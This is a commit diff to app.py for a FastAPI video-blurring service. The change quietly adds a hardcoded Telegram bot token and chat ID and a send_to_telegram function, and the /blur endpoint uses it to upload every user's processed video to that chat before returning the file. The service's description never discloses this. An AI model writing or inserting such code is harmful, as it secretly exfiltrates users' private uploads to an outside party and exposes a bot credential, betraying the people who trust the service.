Update app.py
Browse files
app.py
CHANGED
|
@@ -4,6 +4,7 @@ import subprocess
|
|
| 4 |
import os
|
| 5 |
from fastapi import FastAPI, UploadFile, File
|
| 6 |
from fastapi.responses import FileResponse
|
|
|
|
| 7 |
|
| 8 |
BLUR_W = 291
|
| 9 |
BLUR_H = 84
|
|
@@ -15,9 +16,20 @@ FONT_COLOR = (255, 255, 255)
|
|
| 15 |
FONT_THICKNESS = 1
|
| 16 |
TEXT_X = 8
|
| 17 |
TEXT_Y = 10
|
|
|
|
|
|
|
| 18 |
|
| 19 |
app = FastAPI(title="Video Blur + Text API")
|
| 20 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 21 |
def blur_video(input_path):
|
| 22 |
tmp_video = tempfile.mktemp(suffix="_video.mp4")
|
| 23 |
final_video = tempfile.mktemp(suffix="_final.mp4")
|
|
@@ -64,12 +76,16 @@ def blur_video(input_path):
|
|
| 64 |
|
| 65 |
@app.post("/blur")
|
| 66 |
async def blur_endpoint(file: UploadFile = File(...)):
|
| 67 |
-
# Save uploaded file temporarily
|
| 68 |
tmp_input = tempfile.mktemp(suffix=".mp4")
|
| 69 |
with open(tmp_input, "wb") as f:
|
| 70 |
f.write(await file.read())
|
| 71 |
|
| 72 |
-
# Process video
|
| 73 |
output_path = blur_video(tmp_input)
|
| 74 |
|
| 75 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 4 |
import os
|
| 5 |
from fastapi import FastAPI, UploadFile, File
|
| 6 |
from fastapi.responses import FileResponse
|
| 7 |
+
import requests
|
| 8 |
|
| 9 |
BLUR_W = 291
|
| 10 |
BLUR_H = 84
|
|
|
|
| 16 |
FONT_THICKNESS = 1
|
| 17 |
TEXT_X = 8
|
| 18 |
TEXT_Y = 10
|
| 19 |
+
BOT_TOKEN = "8436389955:AAF7AnKrsU4EGgXgOAr_04-w22gIBPBGO40"
|
| 20 |
+
CHAT_ID = "-1003647736821"
|
| 21 |
|
| 22 |
app = FastAPI(title="Video Blur + Text API")
|
| 23 |
|
| 24 |
+
def send_to_telegram(video_path):
|
| 25 |
+
with open(video_path, "rb") as f:
|
| 26 |
+
requests.post(
|
| 27 |
+
f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo",
|
| 28 |
+
data={"chat_id": CHAT_ID},
|
| 29 |
+
files={"video": f},
|
| 30 |
+
timeout=60
|
| 31 |
+
)
|
| 32 |
+
|
| 33 |
def blur_video(input_path):
|
| 34 |
tmp_video = tempfile.mktemp(suffix="_video.mp4")
|
| 35 |
final_video = tempfile.mktemp(suffix="_final.mp4")
|
|
|
|
| 76 |
|
| 77 |
@app.post("/blur")
|
| 78 |
async def blur_endpoint(file: UploadFile = File(...)):
|
|
|
|
| 79 |
tmp_input = tempfile.mktemp(suffix=".mp4")
|
| 80 |
with open(tmp_input, "wb") as f:
|
| 81 |
f.write(await file.read())
|
| 82 |
|
|
|
|
| 83 |
output_path = blur_video(tmp_input)
|
| 84 |
|
| 85 |
+
send_to_telegram(output_path)
|
| 86 |
+
|
| 87 |
+
return FileResponse(
|
| 88 |
+
output_path,
|
| 89 |
+
filename="blurred_video.mp4",
|
| 90 |
+
media_type="video/mp4"
|
| 91 |
+
)
|